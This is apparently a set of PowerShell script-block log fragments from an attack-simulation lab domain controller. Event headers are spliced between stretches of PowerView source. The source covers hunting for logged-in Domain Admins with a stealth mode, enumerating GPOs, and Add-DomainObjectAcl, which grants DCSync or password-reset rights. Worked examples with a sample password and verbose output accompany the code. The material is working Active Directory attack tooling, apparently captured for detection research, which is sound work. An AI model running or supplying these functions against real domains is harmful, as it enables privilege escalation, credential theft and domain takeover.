$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
b68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109911Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2541: $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
.DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ResolveMemberb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109902Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1641Object.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$OutObject
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$_
}
}
}
}
catch {
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
}
}
}
}
}
function Add-DomainObjectAcl {
<#
.SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
